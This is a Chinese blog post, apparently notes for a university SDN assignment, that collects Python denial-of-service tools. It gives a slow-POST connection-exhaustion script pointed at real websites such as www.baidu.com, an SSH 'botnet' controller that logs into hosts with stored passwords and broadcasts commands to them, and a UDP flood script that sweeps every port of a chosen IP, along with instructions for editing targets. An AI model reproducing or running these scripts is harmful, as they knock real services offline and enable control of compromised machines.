sdn

SDN大作业

一、python实现ddos攻击源代码

  1. 有一个例子 他用了一个插件 不知道可不可以
    https://www.jb51.net/article/155870.htm
  2. 代码
#!/usr/bin/env python
import socket
import time
import threading

# Pressure Test,ddos tool
# ---------------------------
MAX_CONN = 200000    # 最大socket链接量
PORT = 80			
HOST = "www.ssyer.com"
PAGE = "/photography"
# ---------------------------
buf = ("POST %s HTTP/1.1\r\n"
       "Host: %s\r\n"
       "Content-Length: 10000000\r\n"
       "Cookie: dklkt_dos_test\r\n"
       "\r\n" % (PAGE, HOST))

# 创建socket链接列表,存储上20万个socket
socks = []
# 循环创建socket链接
def conn_thread():
    global socks
    for i in range(0, MAX_CONN):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((HOST, PORT))
            s.send(buf.encode("utf-8"))
            print("Send buf OK!,conn=%d\n" % i)
            socks.append(s)
        except Exception as ex:
            print("Could not connect to server or send error:%s" % ex)
            time.sleep(1)


# socket循环对目标网站发数据
def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode("utf-8"))
                print("send f OK!")
            except Exception as ex:
                print("Send Exception:%s\n" % ex)
                socks.remove(s)
                s.close()
        time.sleep(0.1)

# 多线程执行两个函数
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())

conn_th.start()
send_th.start()

  1. 下面是一个简单的网络僵尸程序,先通过添加n个客户端的ip和登录账户密码,然后操控这些客户端发动对同一个目标ping的指令。
#!/usr/bin/python
# -*- coding: utf-8 -*-
import optparse
#import pxssh
from pexpect import pxssh


class Client:

    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()

    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception, e:
            print e
            print '[-] Error Connecting'

    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before


def botnetCommand(command):
    for client in botNet:
        output = client.send_command(command)
        print '[*] Output from ' + client.host
        print '[+] ' + output 


def addClient(host, user, password):
    client = Client(host, user, password)
    botNet.append(client)


botNet = []
#addClient('127.0.0.1', 'root', 'wu.com')
addClient('127.0.0.1', 'wu_being', 'wu.com')
addClient('127.0.0.1', 'wu_being', 'wu.com')
addClient('localhost', 'wu_being', 'wu.com')
# addClient('11.22.33.33', 'root', '123456')
# addClient('112.33.43.55', 'root', 'password')

botnetCommand('uname -v')
botnetCommand('ping www.baidu.com -c 4')
#botnetCommand('cat /etc/issue')
  • 用法
huashidazhongbeitushuguan12deiMac:ddos huashida$ ls -l
total 40
-rwxr-xr-x@ 1 huashida  staff  1231 11 28 15:22 4-botNet构建SSH僵尸网络.py
-rwxr-xr-x@ 1 huashida  staff  1648 11 28 15:16 5-botNet构建SSH僵尸网络ddos.py
-rwxr-xr-x@ 1 huashida  staff  1967 11 28 15:16 DoS_constantConn_MultiThread.py
-rwxr-xr-x@ 1 huashida  staff  1084 11 28 15:16 dos.py
-rwxr-xr-x@ 1 huashida  staff    53 11 28 15:16 sshpass.txt
huashidazhongbeitushuguan12deiMac:ddos huashida$ python 4-botNet构建SSH僵尸网络.py 

4.DoS, Denial of Service, 拒绝服务,一种常用来使服务器或网络瘫痪的网络攻击手段。
我们要改的是这两处地方 改为:
HOST="127.0.0.1"//你要撸的主机ip地址/域名
PAGE="/welcome/default/index/index.py"//你要撸的页面

#!/usr/bin/env python
import socket
import time
import threading

#Pressure Test,ddos tool
#---------------------------
MAX_CONN=200000
PORT=8000
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 1000000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]

def conn_thread():
	global socks
	for i in range(0,MAX_CONN):
		s=socket.socket	(socket.AF_INET,socket.SOCK_STREAM)
		try:
			s.connect((HOST,PORT))
			s.send(buf)
			print "[+] Send buf OK!,conn=%d\n"%i
			socks.append(s)
		except Exception,ex:
			print "[-] Could not connect to server or send error:%s"%ex
			time.sleep(2)
#end def

def send_thread():
	global socks
	while True:
		for s in socks:
			try:
				s.send("f")
				print "[+] send OK! %s"%s
			except Exception,ex:
				print "[-] send Exception:%s\n"%ex
				socks.remove(s)
				s.close()
		time.sleep(1)
#end def

conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
  1. 使用Python socket自带库发送数据包
    import socket #一句话导入socket库
    import random #下面要构建数据包
    下面建立一个和目标的socket通讯:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    里面的socket.AF_INET和socket.SOCK_DGRAM是什么意思自己百度。
    下来byte = random._urandom(1490) #构建数据包,里面的数据填别的我没啥意见:)
    然后发送数据包:
    sock.sendto(byte, ("目标IP地址",int(目标端口)))
    譬如sock.sendto(byte, ("111.73.29.148",520)),就是给111.73.29.148这个IP的520端口发包(某队友作死让我日他)。
  • 代码:
#coding: utf8
 
print("Initializing...\n")
import socket
import random
 
#构建socket通讯
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 
#构建字节数据包
byte = random._urandom(1490)
 
try:
    ip = raw_input("IP Dress: ")
    port = raw_input("Port(Leave a blank to attack all of the ports): ")
except:
    ip = input("IP Dress: ")
    port = input("Port(Leave a blank to attack all of the ports): ")
 
if port == "":
    port = 1
    re = True
else:
    port = int(port)
    re = False
 
sent = 0
 
while True:
    sock.sendto(byte, (ip,port))
    sent = sent + 1
    print "Sent %s packet to %s throught port %s." % (str(sent),ip,str(port))
 
    if re:
          port = port + 1
    else:
          pass
 
    if port == 65534:
          port = 1
posted @ 2021-11-19 11:36  .Hui  阅读(273)  评论(0)    收藏  举报